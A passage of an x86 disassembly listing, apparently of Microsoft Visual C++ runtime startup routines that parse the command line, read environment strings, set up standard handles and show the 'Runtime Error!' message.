jnz short loc_4140A0 push 8 call sub_40EC7A pop ecx loc_4140A0: ; CODE XREF: sub_414034+62j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax mov eax, [ebp+var_4] lea eax, [esi+eax*4] push eax push esi push edi call sub_4140CD mov eax, [ebp+var_4] add esp, 14h dec eax mov dword_481DDC, esi pop edi pop esi mov dword_481DD8, eax pop ebx leave retn sub_414034 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4140CD proc near ; CODE XREF: sub_414034+47p ; sub_414034+7Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_4140F7 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_4140F7: ; CODE XREF: sub_4140CD+20j cmp byte ptr [eax], 22h jnz short loc_414140 loc_4140FC: ; CODE XREF: sub_4140CD+58j ; sub_4140CD+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_41412E test dl, dl jz short loc_41412E movzx edx, dl test byte_483301[edx], 4 jz short loc_414121 inc dword ptr [ecx] test esi, esi jz short loc_414121 mov dl, [eax] mov [esi], dl inc esi inc eax loc_414121: ; CODE XREF: sub_4140CD+46j ; sub_4140CD+4Cj inc dword ptr [ecx] test esi, esi jz short loc_4140FC mov dl, [eax] mov [esi], dl inc esi jmp short loc_4140FC ; --------------------------------------------------------------------------- loc_41412E: ; CODE XREF: sub_4140CD+36j ; sub_4140CD+3Aj inc dword ptr [ecx] test esi, esi jz short loc_414138 and byte ptr [esi], 0 inc esi loc_414138: ; CODE XREF: sub_4140CD+65j cmp byte ptr [eax], 22h jnz short loc_414183 inc eax jmp short loc_414183 ; --------------------------------------------------------------------------- loc_414140: ; CODE XREF: sub_4140CD+2Dj ; sub_4140CD+A5j inc dword ptr [ecx] test esi, esi jz short loc_41414B mov dl, [eax] mov [esi], dl inc esi loc_41414B: ; CODE XREF: sub_4140CD+77j mov dl, [eax] inc eax movzx ebx, dl test byte_483301[ebx], 4 jz short loc_414166 inc dword ptr [ecx] test esi, esi jz short loc_414165 mov bl, [eax] mov [esi], bl inc esi loc_414165: ; CODE XREF: sub_4140CD+91j inc eax loc_414166: ; CODE XREF: sub_4140CD+8Bj cmp dl, 20h jz short loc_414174 test dl, dl jz short loc_414178 cmp dl, 9 jnz short loc_414140 loc_414174: ; CODE XREF: sub_4140CD+9Cj test dl, dl jnz short loc_41417B loc_414178: ; CODE XREF: sub_4140CD+A0j dec eax jmp short loc_414183 ; --------------------------------------------------------------------------- loc_41417B: ; CODE XREF: sub_4140CD+A9j test esi, esi jz short loc_414183 and byte ptr [esi-1], 0 loc_414183: ; CODE XREF: sub_4140CD+6Ej ; sub_4140CD+71j ... and [ebp+arg_10], 0 loc_414187: ; CODE XREF: sub_4140CD+19Ej cmp byte ptr [eax], 0 jz loc_414270 loc_414190: ; CODE XREF: sub_4140CD+D0j mov dl, [eax] cmp dl, 20h jz short loc_41419C cmp dl, 9 jnz short loc_41419F loc_41419C: ; CODE XREF: sub_4140CD+C8j inc eax jmp short loc_414190 ; --------------------------------------------------------------------------- loc_41419F: ; CODE XREF: sub_4140CD+CDj cmp byte ptr [eax], 0 jz loc_414270 test edi, edi jz short loc_4141B4 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_4141B4: ; CODE XREF: sub_4140CD+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_4141B9: ; CODE XREF: sub_4140CD+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_4141C2: ; CODE XREF: sub_4140CD+FCj cmp byte ptr [eax], 5Ch jnz short loc_4141CB inc eax inc ebx jmp short loc_4141C2 ; --------------------------------------------------------------------------- loc_4141CB: ; CODE XREF: sub_4140CD+F8j cmp byte ptr [eax], 22h jnz short loc_4141FC test bl, 1 jnz short loc_4141FA xor edi, edi cmp [ebp+arg_10], edi jz short loc_4141E9 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_4141E9 mov eax, edx jmp short loc_4141EC ; --------------------------------------------------------------------------- loc_4141E9: ; CODE XREF: sub_4140CD+10Dj ; sub_4140CD+116j mov [ebp+arg_0], edi loc_4141EC: ; CODE XREF: sub_4140CD+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_4141FA: ; CODE XREF: sub_4140CD+106j shr ebx, 1 loc_4141FC: ; CODE XREF: sub_4140CD+101j mov edx, ebx dec ebx test edx, edx jz short loc_414211 inc ebx loc_414204: ; CODE XREF: sub_4140CD+142j test esi, esi jz short loc_41420C mov byte ptr [esi], 5Ch inc esi loc_41420C: ; CODE XREF: sub_4140CD+139j inc dword ptr [ecx] dec ebx jnz short loc_414204 loc_414211: ; CODE XREF: sub_4140CD+134j mov dl, [eax] test dl, dl jz short loc_414261 cmp [ebp+arg_10], 0 jnz short loc_414227 cmp dl, 20h jz short loc_414261 cmp dl, 9 jz short loc_414261 loc_414227: ; CODE XREF: sub_4140CD+14Ej cmp [ebp+arg_0], 0 jz short loc_41425B test esi, esi jz short loc_41424A movzx ebx, dl test byte_483301[ebx], 4 jz short loc_414243 mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_414243: ; CODE XREF: sub_4140CD+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_414259 ; --------------------------------------------------------------------------- loc_41424A: ; CODE XREF: sub_4140CD+162j movzx edx, dl test byte_483301[edx], 4 jz short loc_414259 inc eax inc dword ptr [ecx] loc_414259: ; CODE XREF: sub_4140CD+17Bj ; sub_4140CD+187j inc dword ptr [ecx] loc_41425B: ; CODE XREF: sub_4140CD+15Ej inc eax jmp loc_4141B9 ; --------------------------------------------------------------------------- loc_414261: ; CODE XREF: sub_4140CD+148j ; sub_4140CD+153j ... test esi, esi jz short loc_414269 and byte ptr [esi], 0 inc esi loc_414269: ; CODE XREF: sub_4140CD+196j inc dword ptr [ecx] jmp loc_414187 ; --------------------------------------------------------------------------- loc_414270: ; CODE XREF: sub_4140CD+BDj ; sub_4140CD+D5j test edi, edi jz short loc_414277 and dword ptr [edi], 0 loc_414277: ; CODE XREF: sub_4140CD+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_4140CD endp ; =============== S U B R O U T I N E ======================================= sub_414281 proc near ; CODE XREF: sub_40EB84+7Fp var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, dword_481F78 push ebx push ebp mov ebp, dword_41803C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_4142CF call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz short loc_4142B0 mov dword_481F78, 1 jmp short loc_4142D8 ; --------------------------------------------------------------------------- loc_4142B0: ; CODE XREF: sub_414281+21j call dword_41817C ; GetEnvironmentStrings mov edi, eax cmp edi, ebx jz loc_4143AA mov dword_481F78, 2 jmp loc_41435E ; --------------------------------------------------------------------------- loc_4142CF: ; CODE XREF: sub_414281+19j cmp eax, 1 jnz loc_414359 loc_4142D8: ; CODE XREF: sub_414281+2Dj cmp esi, ebx jnz short loc_4142E8 call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz loc_4143AA loc_4142E8: ; CODE XREF: sub_414281+59j cmp [esi], bx mov eax, esi jz short loc_4142FD loc_4142EF: ; CODE XREF: sub_414281+73j ; sub_414281+7Aj inc eax inc eax cmp [eax], bx jnz short loc_4142EF inc eax inc eax cmp [eax], bx jnz short loc_4142EF loc_4142FD: ; CODE XREF: sub_414281+6Cj sub eax, esi mov edi, dword_4180C8 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi ; WideCharToMultiByte mov ebp, eax cmp ebp, ebx jz short loc_41434E push ebp call sub_40CCCF cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_41434E push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi ; WideCharToMultiByte test eax, eax jnz short loc_41434A push [esp+18h+var_8] call sub_40CD81 pop ecx mov [esp+18h+var_8], ebx loc_41434A: ; CODE XREF: sub_414281+B9j mov ebx, [esp+18h+var_8] loc_41434E: ; CODE XREF: sub_414281+99j ; sub_414281+A8j push esi call dword_418178 ; FreeEnvironmentStringsW mov eax, ebx jmp short loc_4143AC ; --------------------------------------------------------------------------- loc_414359: ; CODE XREF: sub_414281+51j cmp eax, 2 jnz short loc_4143AA loc_41435E: ; CODE XREF: sub_414281+49j cmp edi, ebx jnz short loc_41436E call dword_41817C ; GetEnvironmentStrings mov edi, eax cmp edi, ebx jz short loc_4143AA loc_41436E: ; CODE XREF: sub_414281+DFj cmp [edi], bl mov eax, edi jz short loc_41437E loc_414374: ; CODE XREF: sub_414281+F6j ; sub_414281+FBj inc eax cmp [eax], bl jnz short loc_414374 inc eax cmp [eax], bl jnz short loc_414374 loc_41437E: ; CODE XREF: sub_414281+F1j sub eax, edi inc eax mov ebp, eax push ebp call sub_40CCCF mov esi, eax pop ecx cmp esi, ebx jnz short loc_414394 xor esi, esi jmp short loc_41439F ; --------------------------------------------------------------------------- loc_414394: ; CODE XREF: sub_414281+10Dj push ebp push edi push esi call near ptr sub_40C820 add esp, 0Ch loc_41439F: ; CODE XREF: sub_414281+111j push edi call dword_418174 ; FreeEnvironmentStringsA mov eax, esi jmp short loc_4143AC ; --------------------------------------------------------------------------- loc_4143AA: ; CODE XREF: sub_414281+39j ; sub_414281+61j ... xor eax, eax loc_4143AC: ; CODE XREF: sub_414281+D6j ; sub_414281+127j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_414281 endp ; =============== S U B R O U T I N E ======================================= sub_4143B3 proc near ; CODE XREF: sub_40EB84+6Fp var_44 = byte ptr -44h var_14 = dword ptr -14h var_10 = dword ptr -10h sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_40CCCF mov esi, eax pop ecx test esi, esi jnz short loc_4143D3 push 1Bh call sub_40EC7A pop ecx loc_4143D3: ; CODE XREF: sub_4143B3+16j mov dword_4830E0, esi mov dword_4831E0, 20h lea eax, [esi+100h] loc_4143E9: ; CODE XREF: sub_4143B3+52j cmp esi, eax jnb short loc_414407 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4830E0 add esi, 8 add eax, 100h jmp short loc_4143E9 ; --------------------------------------------------------------------------- loc_414407: ; CODE XREF: sub_4143B3+38j lea eax, [esp+54h+var_44] push eax call dword_418128 ; GetStartupInfoA cmp word ptr [esp+54h+var_14+2], 0 jz loc_4144E3 mov eax, [esp+54h+var_10] test eax, eax jz loc_4144E3 mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_41443D mov esi, eax loc_41443D: ; CODE XREF: sub_4143B3+86j cmp dword_4831E0, esi jge short loc_414497 mov edi, offset dword_4830E4 loc_41444A: ; CODE XREF: sub_4143B3+DAj push 100h call sub_40CCCF test eax, eax pop ecx jz short loc_414491 add dword_4831E0, 20h mov [edi], eax lea ecx, [eax+100h] loc_414468: ; CODE XREF: sub_4143B3+CFj cmp eax, ecx jnb short loc_414484 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_414468 ; --------------------------------------------------------------------------- loc_414484: ; CODE XREF: sub_4143B3+B7j add edi, 4 cmp dword_4831E0, esi jl short loc_41444A jmp short loc_414497 ; --------------------------------------------------------------------------- loc_414491: ; CODE XREF: sub_4143B3+A4j mov esi, dword_4831E0 loc_414497: ; CODE XREF: sub_4143B3+90j ; sub_4143B3+DCj xor edi, edi test esi, esi jle short loc_4144E3 loc_41449D: ; CODE XREF: sub_4143B3+12Ej mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_4144DA mov cl, [ebp+0] test cl, 1 jz short loc_4144DA test cl, 8 jnz short loc_4144BC push eax call dword_418030 ; GetFileType test eax, eax jz short loc_4144DA loc_4144BC: ; CODE XREF: sub_4143B3+FCj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4830E0[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_4144DA: ; CODE XREF: sub_4143B3+EFj ; sub_4143B3+F7j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_41449D loc_4144E3: ; CODE XREF: sub_4143B3+65j ; sub_4143B3+71j ... xor ebx, ebx loc_4144E5: ; CODE XREF: sub_4143B3+195j mov eax, dword_4830E0 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_414540 test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_414500 push 0FFFFFFF6h pop eax jmp short loc_41450A ; --------------------------------------------------------------------------- loc_414500: ; CODE XREF: sub_4143B3+146j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_41450A: ; CODE XREF: sub_4143B3+14Bj push eax call dword_418034 ; GetStdHandle mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41452F push edi call dword_418030 ; GetFileType test eax, eax jz short loc_41452F and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_414535 loc_41452F: ; CODE XREF: sub_4143B3+163j ; sub_4143B3+16Ej or byte ptr [esi+4], 40h jmp short loc_414544 ; --------------------------------------------------------------------------- loc_414535: ; CODE XREF: sub_4143B3+17Aj cmp eax, 3 jnz short loc_414544 or byte ptr [esi+4], 8 jmp short loc_414544 ; --------------------------------------------------------------------------- loc_414540: ; CODE XREF: sub_4143B3+13Ej or byte ptr [esi+4], 80h loc_414544: ; CODE XREF: sub_4143B3+180j ; sub_4143B3+185j ... inc ebx cmp ebx, 3 jl short loc_4144E5 push dword_4831E0 call dword_418038 ; LockResource pop edi pop esi pop ebp pop ebx add esp, 44h retn sub_4143B3 endp ; --------------------------------------------------------------------------- align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414568 proc near ; DATA XREF: sub_40EB84+Ao ; sub_412530+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_414608 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_41459B: ; CODE XREF: sub_414568+90j cmp esi, 0FFFFFFFFh jz short loc_414601 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_4145EF push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_4145EF js short loc_4145FA mov edi, [ebx+8] push ebx call sub_40D2E8 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_40D32A add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_40D3BE mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_4145EF: ; CODE XREF: sub_414568+40j ; sub_414568+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_41459B ; --------------------------------------------------------------------------- loc_4145FA: ; CODE XREF: sub_414568+54j mov eax, 0 jmp short loc_41461D ; --------------------------------------------------------------------------- loc_414601: ; CODE XREF: sub_414568+36j mov eax, 1 jmp short loc_41461D ; --------------------------------------------------------------------------- loc_414608: ; CODE XREF: sub_414568+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_40D32A add esp, 8 pop ebp mov eax, 1 loc_41461D: ; CODE XREF: sub_414568+97j ; sub_414568+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_414568 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_40D32A add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_414640 proc near ; CODE XREF: sub_40EC7A+9p ; sub_40EC9F+9p mov eax, dword_481E10 cmp eax, 1 jz short loc_414657 test eax, eax jnz short locret_414678 cmp dword_41FC74, 1 jnz short locret_414678 loc_414657: ; CODE XREF: sub_414640+8j push 0FCh call sub_414679 mov eax, dword_481F7C pop ecx test eax, eax jz short loc_41466D call eax loc_41466D: ; CODE XREF: sub_414640+29j push 0FFh call sub_414679 pop ecx locret_414678: ; CODE XREF: sub_414640+Cj ; sub_414640+15j retn sub_414640 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414679 proc near ; CODE XREF: sub_40EC7A+12p ; sub_40EC9F+12p ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_422300 loc_41468C: ; CODE XREF: sub_414679+20j cmp edx, [eax] jz short loc_41469B add eax, 8 inc ecx cmp eax, offset off_422390 jl short loc_41468C loc_41469B: ; CODE XREF: sub_414679+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_422300[esi] jnz loc_4147C9 mov eax, dword_481E10 cmp eax, 1 jz loc_4147A3 test eax, eax jnz short loc_4146CC cmp dword_41FC74, 1 jz loc_4147A3 loc_4146CC: ; CODE XREF: sub_414679+44j cmp edx, 0FCh jz loc_4147C9 lea eax, [ebp+var_1A4] push 104h push eax push 0 call dword_41804C ; GetModuleFileNameA test eax, eax jnz short loc_414703 lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_40E3C0 pop ecx pop ecx loc_414703: ; CODE XREF: sub_414679+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_40CBC0 inc eax pop ecx cmp eax, 3Ch jbe short loc_414746 lea eax, [ebp+var_1A4] push eax call sub_40CBC0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_40C720 add esp, 10h loc_414746: ; CODE XREF: sub_414679+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_40E3C0 lea eax, [ebp+var_A0] push edi push eax call sub_40E3D0 lea eax, [ebp+var_A0] push offset asc_418B3C ; "\n\n" push eax call sub_40E3D0 push off_422304[esi] lea eax, [ebp+var_A0] push eax call sub_40E3D0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_416004 add esp, 2Ch pop edi jmp short loc_4147C9 ; --------------------------------------------------------------------------- loc_4147A3: ; CODE XREF: sub_414679+3Cj ; sub_414679+4Dj lea eax, [ebp+arg_0] lea esi, off_422304[esi] push 0 push eax push dword ptr [esi] call sub_40CBC0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call dword_418034 ; GetStdHandle push eax call dword_418080 ; WriteFile loc_4147C9: ; CODE XREF: sub_414679+2Ej ; sub_414679+59j ... pop esi leave retn sub_414679 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4147CC proc near ; CODE XREF: sub_40ECC3+95p ; sub_40ECC3+E8p ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4831E0 push esi push edi jnb loc_414960 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4830E0h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_414960 xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_41481D loc_414816: ; CODE XREF: sub_4147CC+177j xor eax, eax jmp loc_414974 ; --------------------------------------------------------------------------- loc_41481D: ; CODE XREF: sub_4147CC+48j test al, 20h jz short loc_41482D push 2 push edi push ecx call sub_413BAD add esp, 0Ch loc_41482D: ; CODE XREF: sub_4147CC+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_4148FC mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_414934 loc_41484D: ; CODE XREF: sub_4147CC+F5j lea eax, [ebp+var_414] loc_414853: ; CODE XREF: sub_4147CC+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_414887 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_414872 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_414872: ; CODE XREF: sub_4147CC+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_414853 loc_414887: ; CODE XREF: sub_4147CC+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call dword_418080 ; WriteFile test eax, eax jz short loc_4148F1 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_4148C3 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_41484D loc_4148C3: ; CODE XREF: sub_4147CC+EAj ; sub_4147CC+12Ej xor edi, edi loc_4148C5: ; CODE XREF: sub_4147CC+150j ; sub_4147CC+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_41495B cmp [ebp+arg_0], edi jz short loc_414934 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_414929 mov dword_481DBC, 9 mov dword_481DC0, eax jmp loc_414971 ; --------------------------------------------------------------------------- loc_4148F1: ; CODE XREF: sub_4147CC+E0j call dword_418044 ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_4148C3 ; --------------------------------------------------------------------------- loc_4148FC: ; CODE XREF: sub_4147CC+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] call dword_418080 ; WriteFile test eax, eax jz short loc_41491E mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_4148C5 ; --------------------------------------------------------------------------- loc_41491E: ; CODE XREF: sub_4147CC+145j call dword_418044 ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_4148C5 ; --------------------------------------------------------------------------- loc_414929: ; CODE XREF: sub_4147CC+10Fj push [ebp+arg_0] call sub_413260 pop ecx jmp short loc_414971 ; --------------------------------------------------------------------------- loc_414934: ; CODE XREF: sub_4147CC+7Bj ; sub_4147CC+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_414949 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_414816 loc_414949: ; CODE XREF: sub_4147CC+16Fj mov dword_481DBC, 1Ch mov dword_481DC0, edi jmp short loc_414971 ; --------------------------------------------------------------------------- loc_41495B: ; CODE XREF: sub_4147CC+FEj sub eax, [ebp+var_10] jmp short loc_414974 ; --------------------------------------------------------------------------- loc_414960: ; CODE XREF: sub_4147CC+15j ; sub_4147CC+37j and dword_481DC0, 0 mov dword_481DBC, 9 loc_414971: ; CODE XREF: sub_4147CC+120j ; sub_4147CC+166j ... or eax, 0FFFFFFFFh loc_414974: ; CODE XREF: sub_4147CC+4Cj ; sub_4147CC+192j pop edi pop esi pop ebx leave retn sub_4147CC endp ; =============== S U B R O U T I N E ======================================= sub_414979 proc near ; CODE XREF: sub_40ECC3+6Cp ; sub_412DA9+32p ... arg_0 = dword ptr 4 inc dword_481F80 push 1000h call sub_40CCCF pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_4149A2 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_4149B3 ; --------------------------------------------------------------------------- loc_4149A2: ; CODE XREF: sub_414979+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_4149B3: ; CODE XREF: sub_414979+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_414979 endp ; =============== S U B R O U T I N E ======================================= sub_4149BD proc near ; CODE XREF: sub_40ECC3+61p ; sub_413AE3+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4831E0 jb short loc_4149CC xor eax, eax retn ; --------------------------------------------------------------------------- loc_4149CC: ; CODE XREF: sub_4149BD+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4830E0[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_4149BD endp ; =============== S U B R O U T I N E ======================================= sub_4149E3 proc near ; DATA XREF: .nsp0:0041A01Co mov eax, dword_4830C0 push esi push 14h test eax, eax pop esi jnz short loc_4149F7 mov eax, 200h jmp short loc_4149FD ; --------------------------------------------------------------------------- loc_4149F7: ; CODE XREF: sub_4149E3+Bj cmp eax, esi jge short loc_414A02 mov eax, esi loc_4149FD: ; CODE XREF: sub_4149E3+12j mov dword_4830C0, eax loc_414A02: ; CODE XREF: sub_4149E3+16j push 4 push eax call sub_41608D pop ecx mov dword_4820B0, eax test eax, eax pop ecx jnz short loc_414A36 push 4 push esi mov dword_4830C0, esi call sub_41608D pop ecx mov dword_4820B0, eax test eax, eax pop ecx jnz short loc_414A36 push 1Ah call sub_40EC7A pop ecx loc_414A36: ; CODE XREF: sub_4149E3+30j ; sub_4149E3+49j xor ecx, ecx mov eax, offset off_422390 loc_414A3D: ; CODE XREF: sub_4149E3+6Ej mov edx, dword_4820B0 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_422610 jl short loc_414A3D xor edx, edx mov ecx, offset dword_4223A0 loc_414A5A: ; CODE XREF: sub_4149E3+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4830E0[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_414A77 test eax, eax jnz short loc_414A7A loc_414A77: ; CODE XREF: sub_4149E3+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_414A7A: ; CODE XREF: sub_4149E3+92j add ecx, 20h inc edx cmp ecx, offset dword_422400 jl short loc_414A5A pop esi retn sub_4149E3 endp ; =============== S U B R O U T I N E ======================================= sub_414A88 proc near ; DATA XREF: .nsp0:0041A02Co ; FUNCTION CHUNK AT 0041613E SIZE 00000058 BYTES call sub_412D33 cmp byte_481DFC, 0 jz short locret_414A9B jmp loc_41613E ; --------------------------------------------------------------------------- locret_414A9B: ; CODE XREF: sub_414A88+Cj retn sub_414A88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414A9C proc near ; CODE XREF: sub_40EDD8+2D4p ; sub_40EDD8+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_414AA8 pop ebp retn ; --------------------------------------------------------------------------- loc_414AA8: ; CODE XREF: sub_414A9C+8j cmp dword_481E4C, 0 jnz short loc_414AC3 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_414AF5 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_414AC3: ; CODE XREF: sub_414A9C+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_422004 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_481E5C call dword_4180C8 ; WideCharToMultiByte test eax, eax jz short loc_414AF5 cmp [ebp+arg_0], 0 jz short loc_414B02 loc_414AF5: ; CODE XREF: sub_414A9C+1Ej ; sub_414A9C+51j mov dword_481DBC, 2Ah or eax, 0FFFFFFFFh loc_414B02: ; CODE XREF: sub_414A9C+57j pop ebp retn sub_414A9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414B04 proc near ; CODE XREF: sub_40F5E2+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_414B27 cmp [ebp+arg_8], ebx jz short loc_414B27 mov al, [esi] cmp al, bl jnz short loc_414B2D mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_414B27 mov [eax], bx loc_414B27: ; CODE XREF: sub_414B04+Cj ; sub_414B04+11j ... xor eax, eax loc_414B29: ; CODE XREF: sub_414B04+42j ; sub_414B04+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_414B2D: ; CODE XREF: sub_414B04+17j cmp 